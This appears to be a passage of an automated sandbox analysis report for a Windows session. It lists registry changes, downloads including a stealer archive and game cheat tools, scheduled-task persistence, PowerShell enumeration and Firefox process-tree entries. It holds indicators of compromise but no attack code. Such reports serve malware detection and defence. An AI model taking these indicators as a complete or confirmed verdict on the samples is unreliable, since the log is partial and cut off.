Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{3C4935A5-B72E-4DA4-809E-0287A0BC046F}\Dependents\{fb355cb0-c07e-4095-85a7-81c5a2838da6}	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{4F815F87-CE9F-45CF-AEDE-EDF03728F8E6}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}\ = "{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConFile\Shell\editwithidle\shell\edit312\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConFile\Shell\editwithidle\Subcommands	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConArchiveFile\shell	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{EFA83559-2E1E-4671-85F7-B28AA1DD08D7}\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{4F815F87-CE9F-45CF-AEDE-EDF03728F8E6}\ = "{4F815F87-CE9F-45CF-AEDE-EDF03728F8E6}"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{754A267E-52AE-4A9F-AFF4-F67EDC4B3610}\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.File\DefaultIcon	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\.pyw	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.ArchiveFile\shellex\DropHandler\ = "{BEA218D2-6950-497B-9434-61683EC065FE}"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConArchiveFile\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",5"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{AC7F58DC-CF45-4B28-9EAE-AE152C588907}	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Installer\Dependencies\{AC7F58DC-CF45-4B28-9EAE-AE152C588907}\Version = "3.12.4150.0"	python-3.12.4-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConFile\Shell\editwithidle\shell\edit312\MUIVerb = "Edit with IDLE 3.12 (64-bit)"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConArchiveFile\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.NoConFile\Shell\editwithidle\shell\edit312\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Python312\\pythonw.exe\" -m idlelib \"%L\" %*"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-160447019-1232603106-4168707212-1000_Classes\Python.Extension\DefaultIcon\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\",3"	msiexec.exe

NTFS ADS 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\Growdice.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\GrowhaxV4.59.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\GrowtopiaInstaller.exe:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\cstealer-main.zip:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\python-3.12.4-amd64.exe:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\python-3.12.4-amd64(1).exe:Zone.Identifier	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3356	schtasks.exe
7112	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6012	powershell.exe
6012	powershell.exe
6012	powershell.exe
6012	powershell.exe
5516	Java.exe
5516	Java.exe
2840	powershell.exe
2840	powershell.exe
2840	powershell.exe
2840	powershell.exe
6052	powershell.exe
6052	powershell.exe
6052	powershell.exe
5908	powershell.exe
5908	powershell.exe
6044	powershell.exe
6044	powershell.exe
916	powershell.exe
916	powershell.exe
6052	powershell.exe
6136	powershell.exe
6136	powershell.exe
6084	powershell.exe
6084	powershell.exe
6084	powershell.exe
1156	powershell.exe
1156	powershell.exe
6044	powershell.exe
5908	powershell.exe
3004	powershell.exe
3004	powershell.exe
6000	powershell.exe
6000	powershell.exe
1268	powershell.exe
1268	powershell.exe
1404	powershell.exe
1404	powershell.exe
4164	powershell.exe
4164	powershell.exe
6136	powershell.exe
916	powershell.exe
5908	powershell.exe
5908	powershell.exe
6044	powershell.exe
6044	powershell.exe
6000	powershell.exe
6084	powershell.exe
1268	powershell.exe
3004	powershell.exe
1156	powershell.exe
916	powershell.exe
6136	powershell.exe
6000	powershell.exe
1404	powershell.exe
4164	powershell.exe
3004	powershell.exe
1268	powershell.exe
1156	powershell.exe
1156	powershell.exe
1404	powershell.exe
4164	powershell.exe
6356	powershell.exe
6356	powershell.exe
6356	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6312	SystemPropertiesComputerName.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4956	firefox.exe
Token: SeDebugPrivilege	4956	firefox.exe
Token: 33	1836	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	1836	AUDIODG.EXE
Token: SeDebugPrivilege	4956	firefox.exe
Token: SeDebugPrivilege	4956	firefox.exe
Token: SeDebugPrivilege	4956	firefox.exe
Token: SeDebugPrivilege	4956	firefox.exe
Token: SeSecurityPrivilege	3040	JavaSetup8u401.exe
Token: SeDebugPrivilege	5788	tasklist.exe
Token: SeDebugPrivilege	6004	tasklist.exe
Token: SeDebugPrivilege	6012	powershell.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeDebugPrivilege	2832	Growdice.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe
Token: SeCreatePagefilePrivilege	5516	Java.exe
Token: SeShutdownPrivilege	5516	Java.exe

Suspicious use of FindShellTrayWindow 32 IoCs

pid	Process
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
7096	Growtopia.exe
7096	Growtopia.exe
7096	Growtopia.exe
7096	Growtopia.exe
7096	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
5436	python-3.12.4-amd64.exe
4956	firefox.exe
4956	firefox.exe
7204	python-3.12.4-amd64.exe

Suspicious use of SendNotifyMessage 28 IoCs

pid	Process
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
7096	Growtopia.exe
7096	Growtopia.exe
7096	Growtopia.exe
7096	Growtopia.exe
7096	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
3928	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
5560	Growtopia.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
3040	JavaSetup8u401.exe
6172	JavaSetup8u401.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
7096	Growtopia.exe
4212	loader.exe
5420	loader.exe
5140	loader.exe
3928	Growtopia.exe
3928	Growtopia.exe
5180	loader.exe
5560	Growtopia.exe
5560	Growtopia.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe
4956	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4180 wrote to memory of 4956	4180	firefox.exe	73
PID 4956 wrote to memory of 2212	4956	firefox.exe	74
PID 4956 wrote to memory of 2212	4956	firefox.exe	74
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3108	4956	firefox.exe	75
PID 4956 wrote to memory of 3740	4956	firefox.exe	76
PID 4956 wrote to memory of 3740	4956	firefox.exe	76
PID 4956 wrote to memory of 3740	4956	firefox.exe	76

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\AppData\Local\Temp\index.html"
1⤵
- Suspicious use of WriteProcessMemory
PID:4180
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url C:\Users\Admin\AppData\Local\Temp\index.html
  2⤵
  - Checks processor information in registry
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.0.1745261747\1390233231" -parentBuildID 20221007134813 -prefsHandle 1752 -prefMapHandle 1740 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d6b176a4-8643-475a-9a3a-a3a096480726} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 1828 1b4de294258 gpu
    3⤵
    PID:2212
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.1.2037111731\1831414207" -parentBuildID 20221007134813 -prefsHandle 2192 -prefMapHandle 2188 -prefsLen 21608 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {513a1fa0-cc10-4123-ba2e-b00c9c7b6ccb} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 2204 1b4dcffad58 socket
    3⤵
    - Checks processor information in registry
    PID:3108
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.2.1720919389\440148882" -childID 1 -isForBrowser -prefsHandle 2984 -prefMapHandle 2980 -prefsLen 21711 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3cc6c901-bf62-4060-a135-5af8ccbf2e1b} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 2704 1b4e0fd5658 tab
    3⤵
    PID:3740
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.3.234302146\625279362" -childID 2 -isForBrowser -prefsHandle 3560 -prefMapHandle 3556 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {80055a43-455a-4903-9df6-a5d9e887f868} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 3572 1b4e1f38e58 tab
    3⤵
    PID:3092
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.4.1905678606\305989674" -childID 3 -isForBrowser -prefsHandle 4764 -prefMapHandle 4660 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {afb8d23f-28bf-44b6-96ce-45078ba6d617} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 4712 1b4df755358 tab
    3⤵
    PID:4516
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.5.308517677\4563245" -childID 4 -isForBrowser -prefsHandle 4868 -prefMapHandle 4872 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ccc99ce5-db3a-4cfa-843d-59fdd393d4c4} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 4860 1b4e37edd58 tab
    3⤵
    PID:4944
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.6.754145702\1476115119" -childID 5 -isForBrowser -prefsHandle 5044 -prefMapHandle 5116 -prefsLen 26424 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b2e1dd54-ca32-4957-8a41-61be7cf63026} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 4844 1b4e38ce458 tab
    3⤵
    PID:2232
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.7.1231883797\611757095" -childID 6 -isForBrowser -prefsHandle 4564 -prefMapHandle 5424 -prefsLen 29737 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {250535b0-3e3e-4680-98df-8addac4e76ff} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 5576 1b4e8ebbb58 tab
    3⤵
    PID:756
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.8.666090246\976811012" -childID 7 -isForBrowser -prefsHandle 8404 -prefMapHandle 8436 -prefsLen 29737 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {07285b6b-e648-4421-bc16-ffe934ace3da} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 8468 1b4ec2f1f58 tab
    3⤵
    PID:1112
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.9.1005538809\1366741744" -childID 8 -isForBrowser -prefsHandle 4804 -prefMapHandle 3732 -prefsLen 29737 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b40cde27-3cd4-4716-ae1c-467426d0c6ac} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 4820 1b4ec931358 tab
    3⤵
    PID:2768
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.10.1675850726\292751241" -childID 9 -isForBrowser -prefsHandle 4964 -prefMapHandle 3224 -prefsLen 29737 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {96c39826-1a10-4966-a894-62041a7e2c66} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 4968 1b4eeb5e658 tab
    3⤵
    PID:2296
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.11.525031903\1811607398" -childID 10 -isForBrowser -prefsHandle 9524 -prefMapHandle 9512 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3801e227-e219-4107-b606-7c09aebd312d} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 9528 1b4e47a9e58 tab
    3⤵
    PID:6736
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.12.1311407696\1136075622" -childID 11 -isForBrowser -prefsHandle 5684 -prefMapHandle 5672 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ab42cbeb-915f-44b4-be1d-8cb6ac997ae0} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 5252 1b4e8d5f358 tab
    3⤵
    PID:4248
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.13.1116456634\12348060" -childID 12 -isForBrowser -prefsHandle 3052 -prefMapHandle 3048 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e5f719d4-0431-4f27-8610-633b22d2ce9f} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 3060 1b4eaee9f58 tab
    3⤵
    PID:7064
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.14.1626415060\1445052143" -childID 13 -isForBrowser -prefsHandle 2580 -prefMapHandle 4284 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {4fa4cda2-0545-4d12-97df-cbbf34195e3d} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 4212 1b4eaee7e58 tab
    3⤵
    PID:380
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.15.1323462230\1221312109" -childID 14 -isForBrowser -prefsHandle 3924 -prefMapHandle 3580 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d8844cca-e411-4c99-a65a-9bc7b315b992} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 3132 1b4ec805058 tab
    3⤵
    PID:7052
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.16.1034410890\2048314030" -childID 15 -isForBrowser -prefsHandle 5236 -prefMapHandle 5044 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d9ba9f1-6060-439c-b98b-28d8da4f55b7} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 4548 1b4ecec1a58 tab
    3⤵
    PID:5992
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.17.1256517249\1941462924" -childID 16 -isForBrowser -prefsHandle 2692 -prefMapHandle 3156 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f43fc8b2-94db-47cb-b55f-162c864b50f0} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 8420 1b4e44f6e58 tab
    3⤵
    PID:5564
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.18.906068022\1683142183" -childID 17 -isForBrowser -prefsHandle 4644 -prefMapHandle 5244 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c4f06802-1758-47b0-9da8-72e146e76f60} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 4988 1b4e706c158 tab
    3⤵
    PID:2584
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.19.298752179\339899265" -childID 18 -isForBrowser -prefsHandle 2744 -prefMapHandle 4832 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {15474913-242b-4cb7-addd-23e2da2552a3} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 3040 1b4e2155658 tab
    3⤵
    PID:6652
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4956.20.2107424709\663777998" -childID 19 -isForBrowser -prefsHandle 8412 -prefMapHandle 9796 -prefsLen 29795 -prefMapSize 233444 -jsInitHandle 1244 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d1f4f3e5-df1f-4f33-9362-6bda75378326} 4956 "\\.\pipe\gecko-crash-server-pipe.4956" 9700 1b4e37ee958 tab
    3⤵
    PID:6040
- - C:\Program Files\Mozilla Firefox\firefox.exe
